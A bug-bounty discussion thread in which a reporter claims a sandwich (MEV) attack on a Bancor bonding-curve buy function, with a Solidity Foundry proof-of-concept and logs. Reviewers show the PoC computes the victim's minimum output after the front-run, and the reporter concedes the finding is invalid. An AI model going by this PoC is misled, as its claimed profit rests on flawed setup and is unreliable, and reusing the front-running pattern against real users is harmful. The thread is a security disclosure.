FM_BC_Bancor_Redeeming_VirtualSupply_v1.buy vulnerable to MEV

[hats-bug-reporter[bot]]

Github username: -- Twitter username: -- Submission hash (on-chain): 0x4e700ffcd041e9f2942229150d9347a4ab2dc356e4a44f3b837f90cdaacd192c Severity: high

Description: Description\ FM_BC_Bancor_Redeeming_VirtualSupply_v1.buy is suceptable to a MEV attack whereby large buy can be sandwiched for risk free profit.

Attack Scenario\ with an initial setup

IFM_BC_Bancor_Redeeming_VirtualSupply_v1.BondingCurveProperties memory
            bc_properties = IFM_BC_Bancor_Redeeming_VirtualSupply_v1
                .BondingCurveProperties({
                formula: address(formula),
                reserveRatioForBuying: 333_333,
                reserveRatioForSelling: 333_333,
                buyFee: 0,
                sellFee: 0,
                buyIsOpen: true,
                sellIsOpen: true,
                initialIssuanceSupply: 1,
                initialCollateralSupply: 3
            });

1. Alice makes a large buy for 200_000e18
2. Bob see this transaction in the mempool and decides to front run with a buy for 2000e18
3. Bob then backruns Alice's transaction creating a sell for 2000e18
4. Bob has made a profit of 104184554224457118605005 - 2000000000000000000000 = 1.02e23 in one transaction

Attachments

1. Proof of Concept (PoC) File Add the following test to the E2E test suit:

   
   // SPDX-License-Identifier: LGPL-3.0-only
   pragma solidity ^0.8.0;

import "forge-std/console.sol";

// Internal Dependencies import { E2ETest, IOrchestratorFactory_v1, IOrchestrator_v1 } from "test/e2e/E2ETest.sol";

import {ERC20Issuance_v1} from "@fm/bondingCurve/tokens/ERC20Issuance_v1.sol";

// SuT import { FM_BC_Bancor_Redeeming_VirtualSupply_v1, IFM_BC_Bancor_Redeeming_VirtualSupply_v1 } from "test/modules/fundingManager/bondingCurve/FM_BC_Bancor_Redeeming_VirtualSupply_v1.t.sol"; import {IBondingCurveBase_v1} from "@fm/bondingCurve/interfaces/IBondingCurveBase_v1.sol";

contract BondingCurveFundingManagerE2E is E2ETest { // Module Configurations for the current E2E test. Should be filled during setUp() call. IOrchestratorFactory_v1.ModuleConfig[] moduleConfigurations;

ERC20Issuance_v1 issuanceToken;

address alice = address(0xA11CE);
uint aliceBuyAmount = 200_000e18;

address bob = address(0x606);
uint bobBuyAmount = 2000e18;

function setUp() public override {
    // Setup common E2E framework
    super.setUp();

    // Set Up individual Modules the E2E test is going to use and store their configurations:
    // NOTE: It's important to store the module configurations in order, since _create_E2E_Orchestrator() will copy from the array.
    // The order should be:
    //      moduleConfigurations[0]  => FundingManager
    //      moduleConfigurations[1]  => Authorizer
    //      moduleConfigurations[2]  => PaymentProcessor
    //      moduleConfigurations[3:] => Additional Logic Modules

    // FundingManager
    setUpBancorVirtualSupplyBondingCurveFundingManager();

    // BancorFormula 'formula' is instantiated in the E2EModuleRegistry

    IBondingCurveBase_v1.IssuanceToken memory issuanceToken_properties =
    IBondingCurveBase_v1.IssuanceToken({
        name: "Bonding Curve Token",
        symbol: "BCT",
        decimals: 18,
        maxSupply: type(uint).max - 1
    });

    address issuanceTokenAdmin = address(this);

    IFM_BC_Bancor_Redeeming_VirtualSupply_v1.BondingCurveProperties memory
        bc_properties = IFM_BC_Bancor_Redeeming_VirtualSupply_v1
            .BondingCurveProperties({
            formula: address(formula),
            reserveRatioForBuying: 333_333,
            reserveRatioForSelling: 333_333,
            buyFee: 0,
            sellFee: 0,
            buyIsOpen: true,
            sellIsOpen: true,
            initialIssuanceSupply: 1,
            initialCollateralSupply: 3
        });

    moduleConfigurations.push(
        IOrchestratorFactory_v1.ModuleConfig(
            bancorVirtualSupplyBondingCurveFundingManagerMetadata,
            abi.encode(
                issuanceToken_properties,
                issuanceTokenAdmin,
                bc_properties,
                token
            )
        )
    );

    // Authorizer
    setUpRoleAuthorizer();
    moduleConfigurations.push(
        IOrchestratorFactory_v1.ModuleConfig(
            roleAuthorizerMetadata, abi.encode(address(this))
        )
    );

    // PaymentProcessor
    setUpSimplePaymentProcessor();
    moduleConfigurations.push(
        IOrchestratorFactory_v1.ModuleConfig(
            simplePaymentProcessorMetadata, bytes("")
        )
    );

    // Additional Logic Modules
    setUpBountyManager();
    moduleConfigurations.push(
        IOrchestratorFactory_v1.ModuleConfig(
            bountyManagerMetadata, bytes("")
        )
    );
}

function test_e2e_OrchestratorFundManagementPOC() public {
    // address(this) creates a new orchestrator.
    IOrchestratorFactory_v1.WorkflowConfig memory workflowConfig =
    IOrchestratorFactory_v1.WorkflowConfig({
        independentUpdates: false,
        independentUpdateAdmin: address(0)
    });

    IOrchestrator_v1 orchestrator =
        _create_E2E_Orchestrator(workflowConfig, moduleConfigurations);

    FM_BC_Bancor_Redeeming_VirtualSupply_v1 fundingManager =
    FM_BC_Bancor_Redeeming_VirtualSupply_v1(
        address(orchestrator.fundingManager())
    );

    issuanceToken = ERC20Issuance_v1(fundingManager.getIssuanceToken());

    token.mint(alice, aliceBuyAmount);
    token.mint(bob, bobBuyAmount);

    uint buf_minAmountOut =
        fundingManager.calculatePurchaseReturn(bobBuyAmount);

    // Bob performs a buy
    vm.startPrank(bob);
    {
        // Approve tokens to fundingmanager.
        token.approve(address(fundingManager), bobBuyAmount);

        // Deposit tokens, i.e. fund the fundingmanager.
        fundingManager.buy(bobBuyAmount, buf_minAmountOut);

        // After the deposit, bob received some amount of receipt tokens
        // from the fundingmanager.
        assertTrue(issuanceToken.balanceOf(bob) > 0);
    }
    vm.stopPrank();

    buf_minAmountOut =
        fundingManager.calculatePurchaseReturn(aliceBuyAmount); // buffer variable to store the minimum amount out on calls to the buy and sell functions

    vm.startPrank(alice);
    {
        // Approve tokens to orchestrator.
        token.approve(address(fundingManager), aliceBuyAmount);

        // Deposit tokens, i.e. fund the fundingmanager.
        fundingManager.buy(aliceBuyAmount, buf_minAmountOut);

        // After the deposit, alice received some amount of receipt tokens
        // from the fundingmanager.
        assertTrue(issuanceToken.balanceOf(alice) > 0);
    }
    vm.stopPrank();

    buf_minAmountOut =
        fundingManager.calculateSaleReturn(issuanceToken.balanceOf(bob));

    // Bob Backruns Alice's buy
    vm.startPrank(bob);
    {
        // Approve tokens to fundingmanager.
        issuanceToken.approve(
            address(fundingManager), issuanceToken.balanceOf(bob)
        );

        fundingManager.sell(issuanceToken.balanceOf(bob), buf_minAmountOut);
        assertApproxEqRel(token.balanceOf(bob), bobBuyAmount, 0.00001e18); // ensures that the imprecision introduced by the math stays below 0.001%
    }
    vm.stopPrank();

    assertEq(token.balanceOf(bob), bobBuyAmount);
}

}

Output
```Bash
Logs:
  Error: a == b not satisfied [uint]
        Left: 31946347
       Right: 2
  Error: a ~= b not satisfied [uint]
          Left: 104184554224457118605005 // Bobs ending balance of collateral token
         Right: 2000000000000000000000 // Bobs supplied collateral token
   Max % Delta: 0.001000000000000000
       % Delta: 5109.227711222855930200
  Error: a == b not satisfied [uint]
        Left: 104184554224457118605005
       Right: 2000000000000000000000

2. Revised Code File (Optional) One possible recommendation is to update the reserve ratios within the buy and sell functions.

[PlamenTSV]

Not sure if the swapping mechanism is by design

[Jonsey]

It's not the designed function, but it is possible as can be seen through the POC, and even warned about by Bancor

[0xmahdirostami]

@Jonsey , thanks for the submission.

Alice makes a large buy for 200_000e18 Bob see this transaction in the mempool and decides to front run with a buy for 2000e18 Bob then backruns Alice's transaction creating a sell for 2000e18

there are some differences here between POC and scenario.

In this scenario, Alice submits a transaction and Bob sees the transaction in the mempool. So it means Alice already calculateSaleReturn and set it as minReturnAmount, however in POC Alice calculateSaleReturn after Bob's transaction.

function test_e2e_OrchestratorFundManagementPOC() public {
        // address(this) creates a new orchestrator.
        IOrchestratorFactory_v1.WorkflowConfig memory workflowConfig =
        IOrchestratorFactory_v1.WorkflowConfig({
            independentUpdates: false,
            independentUpdateAdmin: address(0)
        });

        IOrchestrator_v1 orchestrator =
            _create_E2E_Orchestrator(workflowConfig, moduleConfigurations);

        FM_BC_Bancor_Redeeming_VirtualSupply_v1 fundingManager =
        FM_BC_Bancor_Redeeming_VirtualSupply_v1(
            address(orchestrator.fundingManager())
        );

        issuanceToken = ERC20Issuance_v1(fundingManager.getIssuanceToken());

        token.mint(alice, aliceBuyAmount);
        token.mint(bob, bobBuyAmount);

+        uint  alice_buf_minAmountOut =
            fundingManager.calculatePurchaseReturn(aliceBuyAmount); // buffer variable to store the minimum amount out on calls to the buy and sell functions

         uint  buf_minAmountOut =
            fundingManager.calculatePurchaseReturn(bobBuyAmount);

        // Bob performs a buy
        vm.startPrank(bob);
        {
            // Approve tokens to fundingmanager.
            token.approve(address(fundingManager), bobBuyAmount);

            // Deposit tokens, i.e. fund the fundingmanager.
            fundingManager.buy(bobBuyAmount, buf_minAmountOut);

            // After the deposit, bob received some amount of receipt tokens
            // from the fundingmanager.
            assertTrue(issuanceToken.balanceOf(bob) > 0);
        }
        vm.stopPrank();

-        buf_minAmountOut =
            fundingManager.calculatePurchaseReturn(aliceBuyAmount); // buffer variable to store the minimum amount out on calls to the buy and sell functions

        vm.startPrank(alice);
        {
            // Approve tokens to orchestrator.
            token.approve(address(fundingManager), aliceBuyAmount);

            // Deposit tokens, i.e. fund the fundingmanager.
+            fundingManager.buy(aliceBuyAmount, alice_buf_minAmountOut);

            // After the deposit, alice received some amount of receipt tokens
            // from the fundingmanager.
            assertTrue(issuanceToken.balanceOf(alice) > 0);
        }
        vm.stopPrank();

        buf_minAmountOut =
            fundingManager.calculateSaleReturn(issuanceToken.balanceOf(bob));

        // Bob Backruns Alice's buy
        vm.startPrank(bob);
        {
            // Approve tokens to fundingmanager.
            issuanceToken.approve(
                address(fundingManager), issuanceToken.balanceOf(bob)
            );

            fundingManager.sell(issuanceToken.balanceOf(bob), buf_minAmountOut);
            assertApproxEqRel(token.balanceOf(bob), bobBuyAmount, 0.00001e18); // ensures that the imprecision introduced by the math stays below 0.001%
        }
        vm.stopPrank();

        assertEq(token.balanceOf(bob), bobBuyAmount);
    }
}

the purpose of minAmountOut is to prevent these attacks

[Jonsey]

I think you are misunderstanding. This attack does not affect Alice's transaction directly. Alice will get what she expect ie buf_minAmountOut called just before her transaction (she will probably get more because bob will have added more collateral) however due to Bob's large sandwich he will be able to profit in a single bundled transaction.

@0xmahdirostami

[0xmahdirostami]

Alice will get what she expects

Alice calculates minAmountOut before Bob's transaction.

At the moment that Bob sees Alice's transaction, minAmountOut is already calculated, and if Bob front-runs it, Alice's transaction will revert.

[FHieser]

This is something we cant prevent, thats exactly what the minAmountOut is for

[Jonsey]

Yes you are all correct, I see the error of my ways.